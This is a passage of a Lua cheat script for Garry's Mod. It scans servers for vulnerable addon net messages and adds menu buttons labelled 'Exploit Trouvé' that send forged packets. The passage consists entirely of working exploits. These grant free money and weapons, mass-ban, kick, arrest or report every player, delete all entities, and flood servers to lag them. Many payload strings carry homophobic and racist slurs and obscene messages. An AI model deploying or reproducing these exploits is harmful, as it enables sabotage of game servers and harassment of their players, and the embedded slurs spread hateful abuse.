7293for k,v in pairs(player.GetAll()) do
7294net.Start("AcceptBailOffer")
7295net.WriteEntity(v)
7296net.WriteUInt(-100000000000000000, 16 )
7297net.SendToServer()
7298end
7299end )
7300end
7301
7302status = ValidNetString("CP_Test_Results")
7303if (status) then
7304CHATPRINT("Exploit Trouvé : CP Bypass [CP_Test_Results]")
7305addExploit( "183","CP Bypass", "", function()
7306surface.PlaySound("garrysmod/ui_click.wav")
7307NOTIFICATION("Starting")
7308net.Start("CP_Test_Results")
7309net.WriteInt(1 ,8)
7310net.SendToServer()
7311end )
7312end
7313
7314status = ValidNetString("ReSpawn")
7315if (status) then
7316CHATPRINT("Exploit Trouvé : Respawn #4 [ReSpawn]")
7317addExploit( "184","Respawn #4", "just respawn", function()
7318surface.PlaySound("garrysmod/ui_click.wav")
7319NOTIFICATION("Starting")
7320net.Start("ReSpawn")
7321net.SendToServer()
7322end )
7323end
7324
7325status = ValidNetString("FIGHTCLUB_KickPlayer")
7326if (status) then
7327CHATPRINT("Exploit Trouvé : Fight Club Kick [FIGHTCLUB_KickPlayer]")
7328addExploit( "185","Fight Club Kick", "", function()
7329surface.PlaySound("garrysmod/ui_click.wav")
7330NOTIFICATION("Starting")
7331for k,v in pairs(player.GetAll()) do
7332net.Start("FIGHTCLUB_KickPlayer")
7333net.WriteBit(v)
7334net.WriteEntity(v)
7335net.SendToServer()
7336end
7337end )
7338end
7339
7340status = ValidNetString("FIGHTCLUB_StartFight")
7341if (status) then
7342CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
7343addExploit( "186","Fight Club Start Fight", "", function()
7344surface.PlaySound("garrysmod/ui_click.wav")
7345NOTIFICATION("Starting")
7346for k,v in pairs(player.GetAll()) do
7347net.Start("FIGHTCLUB_StartFight")
7348net.WriteEntity(v)
7349net.SendToServer()
7350end
7351end )
7352end
7353
7354status = ValidNetString("IveBeenRDMed")
7355if (status) then
7356CHATPRINT("Exploit Trouvé : Fake RDM [IveBeenRDMed]")
7357addExploit( "187","Fake RDM", "", function()
7358surface.PlaySound("garrysmod/ui_click.wav")
7359NOTIFICATION("Starting")
7360for k,v in pairs(player.GetAll()) do
7361net.Start("IveBeenRDMed")
7362net.WriteEntity(v)
7363net.SendToServer()
7364end
7365end )
7366end
7367
7368status = ValidNetString("nCTieUpStart")
7369if (status) then
7370CHATPRINT("Exploit Trouvé : Combine Control Exploit [nCTieUpStart]")
7371addExploit( "188","Combine Control Exploit", "", function()
7372surface.PlaySound("garrysmod/ui_click.wav")
7373NOTIFICATION("Starting")
7374for k,v in pairs(ents.GetAll()) do
7375net.Start("nCTieUpStart")
7376net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7377net.SendToServer()
7378end
7379end )
7380end
7381
7382status = ValidNetString("DestroyTable")
7383if (status) then
7384CHATPRINT("Exploit Trouvé : Fuck All [DestroyTable]")
7385addExploit( "189","Fuck All", "discovered by Leith", function()
7386surface.PlaySound("garrysmod/ui_click.wav")
7387NOTIFICATION("Starting")
7388for k,v in pairs(ents.GetAll()) do
7389net.Start("DestroyTable")
7390net.WriteEntity(v)
7391net.SendToServer()
7392end
7393end )
7394end
7395
7396status = ValidNetString("start_wd_hack")
7397if (status) then
7398CHATPRINT("Exploit Trouvé : Hack Phone Exploit [start_wd_hack]")
7399addExploit( "190","Hack Phone Exploit", "", function()
7400surface.PlaySound("garrysmod/ui_click.wav")
7401NOTIFICATION("Starting")
7402net.Start("start_wd_hack")
7403net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7404net.SendToServer()
7405end )
7406end
7407
7408status = ValidNetString("bringNfreeze")
7409if (status) then
7410CHATPRINT("Exploit Trouvé : Ban Exploit [bringNfreeze]")
7411addExploit( "191","Ban Exploit", "", function()
7412surface.PlaySound("garrysmod/ui_click.wav")
7413NOTIFICATION("Starting")
7414for k,v in pairs(player.GetAll()) do
7415net.Start('bringNfreeze')
7416net.WriteEntity(self)
7417net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7418net.SendToServer()
7419end
7420end )
7421end
7422
7423status = ValidNetString("JoinFirstSS")
7424if (status) then
7425CHATPRINT("Exploit Trouvé : Join First SS [JoinFirstSS]")
7426addExploit( "192","Join First SS", "", function()
7427surface.PlaySound("garrysmod/ui_click.wav")
7428NOTIFICATION("Starting")
7429net.Start("JoinFirstSS")
7430net.WriteEntity(LocalPlayer())
7431net.SendToServer()
7432end )
7433end
7434
7435status = ValidNetString("unarrestPerson")
7436if (status) then
7437CHATPRINT("Exploit Trouvé : Unarrest Person [unarrestPerson]")
7438addExploit( "193","Unarrest Person", "", function()
7439surface.PlaySound("garrysmod/ui_click.wav")
7440NOTIFICATION("Starting")
7441for k,v in pairs(player.GetAll()) do
7442net.Start("unarrestPerson")
7443net.WriteEntity(v)
7444net.SendToServer()
7445end
7446end )
7447end
7448
7449status = ValidNetString("giveArrestReason")
7450if (status) then
7451CHATPRINT("Exploit Trouvé : Give Arrest Reason [giveArrestReason]")
7452addExploit( "194","Give Arrest Reason", "", function()
7453surface.PlaySound("garrysmod/ui_click.wav")
7454NOTIFICATION("Starting")
7455for k,v in pairs(player.GetAll()) do
7456net.Start("giveArrestReason")
7457net.WriteEntity(LocalPlayer())
7458net.WriteEntity(v)
7459net.WriteString("Faggot")
7460net.SendToServer()
7461end
7462end )
7463end
7464
7465status = ValidNetString("sellitem")
7466if (status) then
7467CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
7468addExploit( "195","Argent Gratuite #24", "", function()
7469surface.PlaySound("garrysmod/ui_click.wav")
7470NOTIFICATION("Starting")
7471net.Start("sellitem")
7472net.WriteString(self)
7473net.WriteEntity(LocalPlayer())
7474net.SendToServer()
7475end )
7476end
7477
7478status = ValidNetString("createFaction")
7479if (status) then
7480CHATPRINT("Exploit Trouvé : Create Faction [createFaction]")
7481addExploit( "196","Create Faction", "", function()
7482surface.PlaySound("garrysmod/ui_click.wav")
7483NOTIFICATION("Starting")
7484for k,v in pairs(player.GetAll()) do
7485net.Start("createFaction")
7486net.WriteEntity(v)
7487net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
7488net.SendToServer()
7489end
7490end )
7491end
7492
7493status = ValidNetString("inviteToOrganization")
7494if (status) then
7495CHATPRINT("Exploit Trouvé : Faction Invite All [inviteToOrganization]")
7496addExploit( "197","Faction Invite All", "", function()
7497surface.PlaySound("garrysmod/ui_click.wav")
7498NOTIFICATION("Starting")
7499for k,v in pairs(player.GetAll()) do
7500net.Start("inviteToOrganization")
7501net.WriteEntity(v)
7502net.WriteEntity(LocalPlayer())
7503net.SendToServer()
7504end
7505end )
7506end
7507
7508status = ValidNetString("GovStation_SpawnVehicle")
7509if (status) then
7510CHATPRINT("Exploit Trouvé : Gov Spawn [GovStation_SpawnVehicle]")
7511addExploit( "198","Gov Spawn", "", function()
7512surface.PlaySound("garrysmod/ui_click.wav")
7513NOTIFICATION("Starting")
7514for k,v in pairs(ents.GetAll()) do
7515net.Start("GovStation_SpawnVehicle")
7516net.WriteString("GOV_POLICE")
7517net.SendToServer()
7518end
7519end )
7520end
7521
7522status = ValidNetString("GiveWeapon")
7523if (status) then
7524CHATPRINT("Exploit Trouvé : Give Weapons #3 [GiveWeapon]")
7525addExploit( "199","Give Weapons #3", "get weapons", function()
7526surface.PlaySound("garrysmod/ui_click.wav")
7527NOTIFICATION("Starting")
7528net.Start("GiveWeapon")
7529net.WriteEntity(LocalPlayer())
7530net.WriteString("m9k_davy_crockett")
7531net.WriteFloat(0)
7532net.SendToServer()
7533end )
7534end
7535
7536status = ValidNetString("DailyLoginClaim")
7537if (status) then
7538CHATPRINT("Exploit Trouvé : Daily Login Reward [DailyLoginClaim]")
7539addExploit( "200","Daily Login Reward", "", function()
7540surface.PlaySound("garrysmod/ui_click.wav")
7541NOTIFICATION("Starting")
7542net.Start("DailyLoginClaim")
7543net.SendToServer()
7544end )
7545end
7546
7547status = ValidNetString("DL_AskLogsList")
7548if (status) then
7549CHATPRINT("Exploit Trouvé : Ask Log List [DL_AskLogsList]")
7550addExploit( "201","Ask Log List", "", function()
7551surface.PlaySound("garrysmod/ui_click.wav")
7552NOTIFICATION("Starting")
7553net.Start("DL_AskLogsList")
7554net.SendToServer()
7555end )
7556end
7557
7558status = ValidNetString("DL_StartReport")
7559if (status) then
7560CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport | DL_ReportPlayer]")
7561addExploit( "202","DL Report Tout Le Monde", "", function()
7562surface.PlaySound("garrysmod/ui_click.wav")
7563NOTIFICATION("Starting")
7564for k,v in pairs(player.GetAll()) do
7565net.Start("DL_StartReport")
7566net.SendToServer()
7567net.Start("DL_ReportPlayer")
7568net.WriteEntity(v)
7569net.WriteString("Hes being a gay faggot plz ban him")
7570net.SendToServer()
7571end
7572end )
7573end
7574
7575status = ValidNetString("sv_saveweapons")
7576if (status) then
7577CHATPRINT("Exploit Trouvé : TTT Weapons Exploit [sv_saveweapons]")
7578addExploit( "203","DL Report Tout Le Monde", "", function()
7579surface.PlaySound("garrysmod/ui_click.wav")
7580NOTIFICATION("Starting")
7581net.Start("sv_saveweapons")
7582net.WriteString("weapon_ttt_rpg")
7583net.WriteString("weapon_ttt_rpg")
7584net.WriteString("eg")
7585net.SendToServer()
7586end )
7587end
7588
7589status = ValidNetString("SpecDM_SendLoadout")
7590if (status) then
7591CHATPRINT("Exploit Trouvé : SpecDM Exploit [SpecDM_SendLoadout]")
7592addExploit( "204","SpecDM Exploit", "", function()
7593surface.PlaySound("garrysmod/ui_click.wav")
7594NOTIFICATION("Starting")
7595net.Start("SpecDM_SendLoadout")
7596net.WriteString("eg")
7597net.WriteString("weapon_ttt_defib")
7598net.SendToServer()
7599end )
7600end
7601
7602status = ValidNetString("PowerRoundsForcePR")
7603if (status) then
7604CHATPRINT("Exploit Trouvé : Power Rounds Force [PowerRoundsForcePR]")
7605addExploit( "205","Power Rounds Force", "", function()
7606surface.PlaySound("garrysmod/ui_click.wav")
7607NOTIFICATION("Starting")
7608net.Start("PowerRoundsForcePR")
7609net.SendToServer()
7610end )
7611end
7612
7613status = ValidNetString("wyozimc_playply")
7614if (status) then
7615CHATPRINT("Exploit Trouvé : Wyozimc Music Exploit [wyozimc_playply]")
7616addExploit( "206","Wyozimc Music Exploit", "", function()
7617surface.PlaySound("garrysmod/ui_click.wav")
7618NOTIFICATION("Starting")
7619for k,v in pairs(player.GetAll()) do
7620net.Start("wyozimc_playply")
7621net.WriteEntity(v)
7622net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
7623net.SendToServer()
7624end
7625end )
7626end
7627
7628status = ValidNetString("SendSteamID")
7629if (status) then
7630CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
7631addExploit( "207","Envoyez Mail's", "", function()
7632surface.PlaySound("garrysmod/ui_click.wav")
7633NOTIFICATION("Starting")
7634for k,v in pairs(player.GetAll()) do
7635net.Start("SendSteamID")
7636net.WriteEntity(v)
7637net.WriteString("Faggot")
7638net.WriteString("Faggot")
7639net.SendToServer()
7640end
7641end )
7642end
7643
7644status = ValidNetString("JB_GiveCubics")
7645if (status) then
7646CHATPRINT("Exploit Trouvé : Give Cubics All [JB_GiveCubics]")
7647addExploit( "208","Give Cubics All", "", function()
7648surface.PlaySound("garrysmod/ui_click.wav")
7649NOTIFICATION("Starting")
7650for k,v in pairs(player.GetAll()) do
7651net.Start("JB_GiveCubics")
7652net.WriteEntity(v)
7653net.WriteInt(math.floor(dwang:GetValue()), 255)
7654net.SendToServer()
7655end
7656end )
7657end
7658
7659status = ValidNetString("JB_SelectWarden")
7660if (status) then
7661CHATPRINT("Exploit Trouvé : Select Warden All [JB_SelectWarden]")
7662addExploit( "209","Select Warden All", "", function()
7663surface.PlaySound("garrysmod/ui_click.wav")
7664NOTIFICATION("Starting")
7665for k,v in pairs(player.GetAll()) do
7666net.Start("JB_SelectWarden")
7667net.WriteEntity(v)
7668net.SendToServer()
7669end
7670end )
7671end
7672
7673status = ValidNetString("RDMReason_Explain")
7674if (status) then
7675CHATPRINT("Exploit Trouvé : RDM Explain [RDMReason_Explain]")
7676addExploit( "210","RDM Explain", "", function()
7677surface.PlaySound("garrysmod/ui_click.wav")
7678NOTIFICATION("Starting")
7679for k,v in pairs(player.GetAll()) do
7680net.Start("RDMReason_Explain")
7681net.WriteTable({id=v, reason=fgt})
7682net.SendToServer()
7683end
7684end )
7685end
7686
7687status = ValidNetString("redirectMsg")
7688if (status) then
7689CHATPRINT("Exploit Trouvé : Redirect Message [redirectMsg]")
7690addExploit( "211","Redirect Message", "", function()
7691surface.PlaySound("garrysmod/ui_click.wav")
7692NOTIFICATION("Starting")
7693net.Start("redirectMsg")
7694net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
7695net.SendToServer()
7696end )
7697end
7698
7699status = ValidNetString("LB_AddBan")
7700if (status) then
7701CHATPRINT("Exploit Trouvé : LB Ban [LB_AddBan]")
7702addExploit( "212","LB Ban", "", function()
7703surface.PlaySound("garrysmod/ui_click.wav")
7704NOTIFICATION("Starting")
7705for k,v in pairs(player.GetAll()) do
7706if v != LocalPlayer() then
7707net.Start("LB_AddBan")
7708net.WriteString("STEAM_0:0:71238382")
7709net.WriteString("fgt")
7710net.SendToServer()
7711end
7712end
7713end )
7714end
7715
7716status = ValidNetString("GET_Admin_MSGS")
7717if (status) then
7718CHATPRINT("Exploit Trouvé : Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
7719addExploit( "213","Brass Admin Chat", "", function()
7720surface.PlaySound("garrysmod/ui_click.wav")
7721NOTIFICATION("Starting")
7722net.Start("GET_Admin_MSGS")
7723net.SendToServer()
7724net.Start("OPEN_ADMIN_CHAT")
7725net.SendToServer()
7726end )
7727end
7728
7729status = ValidNetString("br_send_pm")
7730if (status) then
7731CHATPRINT("Exploit Trouvé : Brass Email Send All [br_send_pm]")
7732addExploit( "214","Brass Email Send All", "", function()
7733surface.PlaySound("garrysmod/ui_click.wav")
7734NOTIFICATION("Starting")
7735for k,v in pairs(player.GetAll()) do
7736if v != LocalPlayer() then
7737net.Start("br_send_pm")
7738net.WriteString(v)
7739net.WriteString("FGT")
7740net.WriteEntity(v)
7741net.SendToServer()
7742end
7743end
7744end )
7745end
7746
7747status = ValidNetString("LAWYER.BailFelonOut")
7748if (status) then
7749CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
7750addExploit( "215","Bail Felon Out", "", function()
7751surface.PlaySound("garrysmod/ui_click.wav")
7752NOTIFICATION("Starting")
7753net.Start("LAWYER.BailFelonOut")
7754net.WriteString("1")
7755net.WriteString("fgt")
7756net.SendToServer()
7757end )
7758end
7759
7760status = ValidNetString("LAWYER.GetBailOut")
7761if (status) then
7762CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
7763addExploit( "216","Get Bail Out", "", function()
7764surface.PlaySound("garrysmod/ui_click.wav")
7765NOTIFICATION("Starting")
7766net.Start("LAWYER.GetBailOut")
7767net.WriteString("Mick")
7768net.WriteString("Mick")
7769net.WriteString("1000000")
7770net.SendToServer()
7771end )
7772end
7773
7774status = ValidNetString("GrabMoney")
7775if (status) then
7776CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
7777addExploit( "217","Get Bail Out", "", function()
7778surface.PlaySound("garrysmod/ui_click.wav")
7779NOTIFICATION("Starting")
7780for k,v in pairs(ents.GetAll()) do
7781if v:GetClass() == "gold" then
7782if v:GetClass() == "silver" then
7783if v:GetClass() == "vip" then
7784if v:GetClass() == "vipgold" then
7785net.Start("GrabMoney")
7786net.WriteEntity(LocalPlayer())
7787net.SendToServer()
7788end
7789end
7790end
7791end
7792end
7793end )
7794end
7795
7796status = ValidNetString("nox_addpremadepunishment")
7797if (status) then
7798CHATPRINT("Exploit Trouvé : Nox Ban [nox_addpremadepunishment]")
7799addExploit( "218","Nox Ban", "", function()
7800surface.PlaySound("garrysmod/ui_click.wav")
7801NOTIFICATION("Starting")
7802for k,v in pairs(player.GetAll()) do
7803if v != LocalPlayer() then
7804net.Start("nox_addpremadepunishment")
7805net.WriteEntity("Sun")
7806net.WriteUInt(2, 8)
7807net.SendToServer()
7808end
7809end
7810end )
7811end
7812
7813status = ValidNetString("NET_CR_TakeStoredMoney")
7814if (status) then
7815CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre [NET_CR_TakeStoredMoney]")
7816addExploit( "219","Steal Registry Money", "", function()
7817surface.PlaySound("garrysmod/ui_click.wav")
7818NOTIFICATION("Starting")
7819for k,v in pairs(ents.GetAll()) do
7820if v:GetClass() == "ss_cash_registry" then
7821net.Start('NET_CR_TakeStoredMoney')
7822net.WriteEntity("ss_cash_registry")
7823net.WriteEntity(LocalPlayer())
7824net.SendToServer()
7825end
7826end
7827end )
7828end
7829
7830status = ValidNetString("HV_AmmoBuy")
7831if (status) then
7832CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
7833addExploit( "220","HV Munitions Gratuites", "", function()
7834surface.PlaySound("garrysmod/ui_click.wav")
7835NOTIFICATION("Starting")
7836net.Start("HV_AmmoBuy")
7837net.WriteFloat("2")
7838net.SendToServer()
7839net.Start("HV_AmmoBuy")
7840net.WriteFloat("1")
7841net.SendToServer()
7842end )
7843end
7844
7845status = ValidNetString("hitcomplete")
7846if (status) then
7847CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
7848addExploit( "221","Super RP Hit", "", function()
7849surface.PlaySound("garrysmod/ui_click.wav")
7850NOTIFICATION("Starting")
7851for k,v in pairs(player.GetAll()) do
7852if v != LocalPlayer() then
7853net.Start("hitcomplete")
7854net.WriteEntity(v)
7855net.SendToServer()
7856end
7857end
7858end )
7859end
7860
7861status = ValidNetString("SyncRemoveAction")
7862if (status) then
7863CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
7864addExploit( "222","Remove All", "", function()
7865surface.PlaySound("garrysmod/ui_click.wav")
7866NOTIFICATION("Starting")
7867for k,v in pairs(ents.GetAll()) do
7868net.Start("SyncRemoveAction")
7869net.WriteEntity(v)
7870net.SendToServer()
7871end
7872end )
7873end
7874
7875status = ValidNetString("TMC_NET_MakePlayerWanted")
7876if (status) then
7877CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global [TMC_NET_MakePlayerWanted]")
7878addExploit( "223","Make All Wanted", "", function()
7879surface.PlaySound("garrysmod/ui_click.wav")
7880NOTIFICATION("Starting")
7881for k,v in pairs(player.GetAll()) do
7882net.Start("TMC_NET_MakePlayerWanted")
7883net.WriteString("bad")
7884net.WriteString("bad")
7885net.SendToServer()
7886end
7887end )
7888end
7889
7890status = ValidNetString("thiefnpc")
7891if (status) then
7892CHATPRINT("Exploit Trouvé : Thief NPC [thiefnpc]")
7893addExploit( "224","Thief NPC", "", function()
7894surface.PlaySound("garrysmod/ui_click.wav")
7895NOTIFICATION("Starting")
7896net.Start('thiefnpc')
7897net.WriteDouble(-99999999999999999)
7898net.SendToServer()
7899end )
7900end
7901
7902status = ValidNetString("TMC_NET_FirePlayer")
7903if (status) then
7904CHATPRINT("Exploit Trouvé : Fire Player [TMC_NET_FirePlayer]")
7905addExploit( "225","Fire Player", "", function()
7906surface.PlaySound("garrysmod/ui_click.wav")
7907NOTIFICATION("Starting")
7908net.Start("TMC_NET_FirePlayer")
7909net.WriteString("Paypal")
7910net.SendToServer()
7911end )
7912end
7913
7914status = ValidNetString("updateLaws")
7915if (status) then
7916CHATPRINT("Exploit Trouvé : Update Laws [updateLaws]")
7917addExploit( "226","Update Laws", "", function()
7918surface.PlaySound("garrysmod/ui_click.wav")
7919NOTIFICATION("Starting")
7920net.Start("updateLaws")
7921net.WriteString("Bitch")
7922net.SendToServer()
7923end )
7924end
7925
7926status = ValidNetString("LotteryMenu")
7927if (status) then
7928CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
7929addExploit( "227","Argent Gratuite #25", "", function()
7930surface.PlaySound("garrysmod/ui_click.wav")
7931NOTIFICATION("Starting")
7932net.Start("LotteryMenu")
7933net.WriteEntity(LocalPlayer())
7934net.WriteInt(1000000000000000000, 16)
7935net.SendToServer()
7936end )
7937end
7938
7939status = ValidNetString("soundArrestCommit")
7940if (status) then
7941CHATPRINT("Exploit Trouvé : Sound Arrest [soundArrestCommit]")
7942addExploit( "228","Sound Arrest", "", function()
7943surface.PlaySound("garrysmod/ui_click.wav")
7944NOTIFICATION("Starting")
7945net.Start("soundArrestCommit")
7946net.WriteString("Shit")
7947net.SendToServer()
7948end )
7949end
7950
7951status = ValidNetString("hoverboardpurchase")
7952if (status) then
7953CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
7954addExploit( "229","Hover Board", "", function()
7955surface.PlaySound("garrysmod/ui_click.wav")
7956NOTIFICATION("Starting")
7957net.Start("hoverboardpurchase")
7958net.WriteInt(8, 32)
7959net.SendToServer()
7960end )
7961end
7962
7963status = ValidNetString("SpawnProtection")
7964if (status) then
7965CHATPRINT("Exploit Trouvé : Off Spawn Protection [SpawnProtection]")
7966addExploit( "230","Off Spawn Protection", "", function()
7967surface.PlaySound("garrysmod/ui_click.wav")
7968NOTIFICATION("Starting")
7969net.Start("SpawnProtection")
7970net.WriteFloat(0)
7971net.SendToServer()
7972end )
7973end
7974
7975status = ValidNetString("NPCShop_BuyItem")
7976if (status) then
7977CHATPRINT("Exploit Trouvé : NPC Shop [NPCShop_BuyItem]")
7978addExploit( "231","NPC Shop", "", function()
7979surface.PlaySound("garrysmod/ui_click.wav")
7980NOTIFICATION("Starting")
7981net.Start("NPCShop_BuyItem")
7982net.WriteString("weapon_hack_phone")
7983net.SendToServer()
7984end )
7985end
7986
7987status = ValidNetString("CubeRiot CaptureZone Update")
7988if (status) then
7989CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone Update]")
7990addExploit( "232","CubeRiot Exploit", "", function()
7991surface.PlaySound("garrysmod/ui_click.wav")
7992NOTIFICATION("Starting")
7993net.Start("CubeRiot CaptureZone Update")
7994net.WriteUInt( 1, 8 )
7995net.WriteVector( "2654.989258 2254.119629 -139.968750" )
7996net.WriteVector( "2654.989258 2254.119629 -139.968750" )
7997net.SendToServer()
7998end )
7999end
8000
8001status = ValidNetString("deposit")
8002if (status) then
8003CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
8004addExploit( "233","Argent Gratuite #26", "", function()
8005surface.PlaySound("garrysmod/ui_click.wav")
8006NOTIFICATION("Starting")
8007net.Start("deposit")
8008net.WriteString("-10000000000000000000000")
8009net.SendToServer()
8010end )
8011end
8012
8013status = ValidNetString("AcceptRequest")
8014if (status) then
8015CHATPRINT("Exploit Trouvé : Call Exploit [AcceptRequest]")
8016addExploit( "234","Call Exploit", "", function()
8017surface.PlaySound("garrysmod/ui_click.wav")
8018NOTIFICATION("Starting")
8019for k,v in pairs(player.GetAll()) do
8020net.Start("AcceptRequest")
8021net.WriteEntity(v)
8022net.SendToServer()
8023end
8024end )
8025end
8026
8027status = ValidNetString("Chess ClientWager")
8028if (status) then
8029CHATPRINT("Exploit Trouvé : Chess Exploit [Chess ClientWager | Chess ClientResign]")
8030addExploit( "235","Chess Exploit", "", function()
8031surface.PlaySound("garrysmod/ui_click.wav")
8032NOTIFICATION("Starting")
8033net.Start("Chess ClientWager")
8034net.WriteUInt( -999999999999999999999999999, 24 )
8035net.SendToServer()
8036net.Start("Chess ClientResign")
8037net.SendToServer()
8038end )
8039end
8040
8041status = ValidNetString("netOrgVoteInvite_Server")
8042if (status) then
8043CHATPRINT("Exploit Trouvé : Org Invite All [netOrgVoteInvite_Server]")
8044addExploit( "236","Org Invite All", "", function()
8045surface.PlaySound("garrysmod/ui_click.wav")
8046NOTIFICATION("Starting")
8047for k,v in pairs(player.GetAll()) do
8048net.Start("netOrgVoteInvite_Server")
8049net.WriteEntity(v)
8050net.SendToServer()
8051end
8052end )
8053end
8054
8055
8056status = ValidNetString("donatorshop_itemtobuy")
8057if (status) then
8058CHATPRINT("Exploit Trouvé : Donator Box Exploit [donatorshop_itemtobuy]")
8059addExploit( "237","Donator Box Exploit", "", function()
8060surface.PlaySound("garrysmod/ui_click.wav")
8061NOTIFICATION("Starting")
8062net.Start("donatorshop_itemtobuy")
8063net.WriteString("DonatorShopBuyTripwire")
8064net.SendToServer()
8065end )
8066end
8067
8068status = ValidNetString("AskPickupItemInv")
8069if (status) then
8070CHATPRINT("Exploit Trouvé : Ask Item [AskPickupItemInv]")
8071addExploit( "238","Ask Item", "", function()
8072surface.PlaySound("garrysmod/ui_click.wav")
8073NOTIFICATION("Starting")
8074for k,v in pairs(player.GetAll()) do
8075net.Start("AskPickupItemInv")
8076net.WriteUInt(4,16)
8077net.WriteUInt(1,16)
8078net.SendToServer()
8079end
8080end )
8081end
8082
8083status = ValidNetString("buy_bundle")
8084if (status) then
8085CHATPRINT("Exploit Trouvé : Buy Bundle [buy_bundle]")
8086addExploit( "239","Buy Bundle", "", function()
8087surface.PlaySound("garrysmod/ui_click.wav")
8088NOTIFICATION("Starting")
8089net.Start("buy_bundle")
8090net.WriteFloat(1, 16)
8091net.SendToServer()
8092end )
8093end
8094
8095status = ValidNetString("LawyerOfferBail")
8096if (status) then
8097CHATPRINT("Exploit Trouvé : Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
8098addExploit( "240","Lawyer Off Bail", "", function()
8099surface.PlaySound("garrysmod/ui_click.wav")
8100NOTIFICATION("Starting")
8101for k,v in pairs(player.GetAll()) do
8102net.Start("LawyerOfferBail")
8103net.WriteEntity(v)
8104net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8105net.SendToServer()
8106net.Start("AcceptBailOffer")
8107net.WriteEntity(v)
8108net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8109net.SendToServer()
8110end
8111end )
8112end
8113
8114status = ValidNetString("MineServer")
8115if (status) then
8116CHATPRINT("Exploit Trouvé : Lagger #22 [MineServer]")
8117addExploit( "241","Lagger #22", "lags", function()
8118surface.PlaySound("garrysmod/ui_click.wav")
8119NOTIFICATION("Starting")
8120for i = 0, 100 do
8121for k,v in pairs(player.GetAll()) do
8122net.Start("MineServer",true)
8123net.WriteString("sell")
8124net.WriteEntity(v)
8125net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
8126net.SendToServer()
8127end
8128end
8129end )
8130end
8131
8132status = ValidNetString("Gb_gasstation_BuyGas")
8133if (status) then
8134CHATPRINT("Exploit Trouvé : Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
8135addExploit( "242","Ukrainian gas", "", function()
8136surface.PlaySound("garrysmod/ui_click.wav")
8137NOTIFICATION("Starting")
8138net.Start("Gb_gasstation_BuyGas")
8139net.SendToServer()
8140net.Start("Gb_gasstation_BuyJerrycan")
8141net.SendToServer()
8142end )
8143end
8144
8145status = ValidNetString("D3A_CreateOrg")
8146if (status) then
8147CHATPRINT("Exploit Trouvé : D3A Create Org [D3A_CreateOrg]")
8148addExploit( "243","D3A Create Org", "", function()
8149surface.PlaySound("garrysmod/ui_click.wav")
8150NOTIFICATION("Starting")
8151net.Start("D3A_CreateOrg")
8152net.WriteString('969690485273489312467812367128312312314')
8153net.WriteString('123712983712984571298712398')
8154net.WriteString("255 255 255")
8155net.SendToServer()
8156end )
8157end
8158
8159status = ValidNetString("Shop_buy")
8160if (status) then
8161CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
8162addExploit( "244","SUP Buy Armor", "", function()
8163surface.PlaySound("garrysmod/ui_click.wav")
8164NOTIFICATION("Starting")
8165net.Start("Shop_buy")
8166net.WriteString("Armor")
8167net.SendToServer()
8168end )
8169end
8170
8171status = ValidNetString("LawsToServer")
8172if (status) then
8173CHATPRINT("Exploit Trouvé : SUP New Laws [LawsToServer]")
8174addExploit( "245","SUP New Laws", "", function()
8175surface.PlaySound("garrysmod/ui_click.wav")
8176NOTIFICATION("Starting")
8177net.Start("LawsToServer")
8178net.WriteString("FAGGOTS")
8179net.SendToServer()
8180end )
8181end
8182
8183status = ValidNetString("D3A_Message")
8184if (status) then
8185CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
8186addExploit( "246","D3A Message", "", function()
8187surface.PlaySound("garrysmod/ui_click.wav")
8188NOTIFICATION("Starting")
8189local stuff = {
8190
8191}
8192net.Start("D3A_Message")
8193net.WriteString("FAGGOTS")
8194net.WriteTable(stuff)
8195net.SendToServer()
8196end )
8197end
8198
8199status = ValidNetString("misswd_accept")
8200if (status) then
8201CHATPRINT("Exploit Trouvé : Misswd Accept [misswd_accept]")
8202addExploit( "247","Misswd Accept", "", function()
8203surface.PlaySound("garrysmod/ui_click.wav")
8204NOTIFICATION("Starting")
8205for k,v in pairs(player.GetAll()) do
8206for i = 0, 100 do
8207net.Start("misswd_accept")
8208net.WriteEntity(v)
8209net.SendToServer()
8210end
8211end
8212end )
8213end
8214
8215status = ValidNetString("ScannerMenu")
8216if (status) then
8217CHATPRINT("Exploit Trouvé : Scanner Exploit [ScannerMenu]")
8218addExploit( "248","Scanner Exploit", "", function()
8219surface.PlaySound("garrysmod/ui_click.wav")
8220NOTIFICATION("Starting")
8221for k,v in pairs(player.GetAll()) do
8222net.Start("ScannerMenu")
8223net.WriteEntity(v)
8224net.WriteFloat(1)
8225net.WriteFloat(1)
8226net.SendToServer()
8227end
8228end )
8229end
8230
